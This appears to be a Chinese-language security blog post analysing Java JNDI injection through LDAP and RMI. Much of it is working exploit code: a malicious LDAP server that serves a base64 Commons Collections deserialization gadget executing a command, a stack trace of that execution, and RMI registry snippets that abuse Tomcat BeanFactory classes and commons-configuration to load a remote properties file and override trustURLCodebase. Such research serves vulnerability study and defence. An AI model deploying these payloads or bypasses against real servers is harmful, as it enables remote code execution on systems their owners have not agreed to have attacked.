Deserialization
LDAP
在通过LDAP协议访问远程服务的时候,我们可以跟进到 LdapCtx#c_lookup
方法中
这里调用了 doSearchOnce
方法获取LDAP远程返回的Result数据
到最后会来到 LdapCtx#doSearch
方法中
存在有 LdapClient#search
方法的调用
首先他会封装了一个 LdapRequest
的请求,之后通过 getSearchReply
方法的调用获取对应的查询结果
跟进一下
在获取了返回的属性之后,将其放入了 BasicAttributes
类对象中
之后将会把获取到的 LdapEntry
封装进入 LdapResult
对象中去
最后返回了这个 LdapResult
对象
好的,现在回到了 LdapCtx#c_lookup
方法中来了
在 682
行中的var23就是前面返回的 LdapResult
对象,首先会判断其的 entries
属性是否为不为空,且要求只存在有一个 LdapEntry
对象,如果满足上面的条件,就会取出 LdapResult
中的 LdapEntry
对象,其为 var25
这个变量,并且也会取出 LdapEntry
中的属性,上图中的 var4
是一个 BasicAttributes
对象
会判断属性中是否存在有 javaClassName
,如果有
将会调用 Obj.decodeObject
方法进行解析
首先获取了javaCodeBase属性值,之后在 145
行中判断了是否存在有 javaSerializedData
属性,如果有就在获取了对应的ClassLoader之后通过调用 deserializeObject
方法进行反序列化
最后调用了 java.io.InputStream#readObject
方法进行了反序列化
POC
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
public class SerializeLdapServer {
public static void main(String[] args) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("127.0.0.1"),
389,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
directoryServer.startListening();
System.out.println("ldap://127.0.0.1:389 is working...");
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);
entry.addAttribute("javaClassName", "hahaha");
try {
entry.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRv" +
"cmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznB" +
"H9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4" +
"cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSC" +
"nnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5z" +
"Zm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFp" +
"bmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUv" +
"Y29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9u" +
"cy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hl" +
"LmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGU" +
"AgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBz" +
"cgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zv" +
"cm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5h" +
"bWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNz" +
"O3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1" +
"cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsA" +
"AAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAA" +
"AnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAA" +
"AAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAA" +
"AAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdl" +
"chLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAB" +
"c3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xk" +
"eHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}catch (Exception e){
e.printStackTrace();
}
}
}
}
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readObject:342, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, LdapClient (pers.jndi)
RMI
RMI也有着同样的反序列化利用
在sun.rmi.transport.StreamRemoteCall#executeCall
中有着漏洞点
覆盖trustURLCodebase
在高版本中的JDK中不管是Ldap或者是RMI都存在有trustURLCodebase的限制
如果我们能够将该属性值置为true也就能够间接绕过限制
所以我们需要寻找到能够System.setProperty
的调用,覆盖掉trustURLCodebase属性值
且我们有了前面的基础,我们知道对于org.apache.naming.factory.BeanFactory
这个Factory来说,需要目标的Bean Class满足
- 必须有一个无参构造方法
- 有public的setter方法且参数为一个String类型。
在commons-configuration
包中存在有org.apache.commons.configuration.SystemConfiguration#setSystemProperties
方法满足条件
从该方法的注释我们知道,这个方法能够从一个属性配置文件中取值设置对应的system properties
在创建了PropertiesConfiguration
对象config之后调用load方法进行配置文件的加载
继续调用了load
方法
调用了load方法加载远程url作为参数,获取远程配置
获取远程输入流
之后调用load方法加载
一直可以跟踪到PropertiesConfigurationLayout#load
方法中设置了属性和值之间的分隔符是=
同样在这个方法中通过一个while循环遍历reader
中的属性配置
最后回到了setSystemProperties
方法中
通过调用setSystemProperties
进行了属性的覆盖
这里就很明了了,通过迭代器,调用System.setProperty
为属性赋值
commons-configuration
Registry registry = LocateRegistry.createRegistry(2000);
ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration.SystemConfiguration", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=setSystemProperties"));
resourceRef.add(new StringRefAddr("x", "http://127.0.0.1/exp.properties"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("test", referenceWrapper);
commons-configuration2
对于这个jar包和上面的大体流程差不多就不分析了
Registry registry = LocateRegistry.createRegistry(2000);
ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration2.SystemConfiguration", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=setSystemProperties"));
resourceRef.add(new StringRefAddr("x", "http://127.0.0.1/exp.properties"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("test", referenceWrapper);
Groovy
在Groovy组件中存在有setSystemPropertyFrom
方法
这个BeanClass也满足条件,在该方法中,将会对namValue
参数值通过=
进行分割,分别得到name和value值,之后调用了System.setProperty
方法进行赋值
其他
当然还有这其他的第三方库存在有这样的功能的方法能够利用,只需要使用CodeQL或者其他静态代码分析工具进行筛选就行
其他的BeanFactory
当然除了catalina.jar中的类org.apache.naming.factory.BeanFactory
可以利用
在tomcat-jdbc.jar
中也存在有org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory
这个BeanFactory
我们来看看他的getObjectInstance
方法
将会获取返回的Reference
类,实例化了目标类,之后分别取出了param和value的值之后调用setProperty
方法
在60
行的位置,他直接在name前面拼接上了get
字符串,在取出了目标类的所有方法之后,通过for循环进行遍历获取setter的方法名,并调用
这里就很明显了,可以通过前面说的commons-configuration
/ commons-configuration2
/ Groovy
的setter方法来执行
这里给出一个例子
Registry registry = LocateRegistry.createRegistry(2000);
ResourceRef resourceRef = new ResourceRef("org.apache.commons.configuration.SystemConfiguration", null, "", "", true, "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
resourceRef.add(new StringRefAddr("systemProperties", "http://127.0.0.1/exp.properties"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("test", referenceWrapper);
版本限制
小于 Tomcat8 时无法使用 ELProcessor.eval 执行代码
只能在Tomcat下使用BeanFactory类调用任意方法
以较低版本Tomcat 如7.0.4时,BeanFactory只支持执行 setter 方法,无法再使用EL或Groovy执行
代码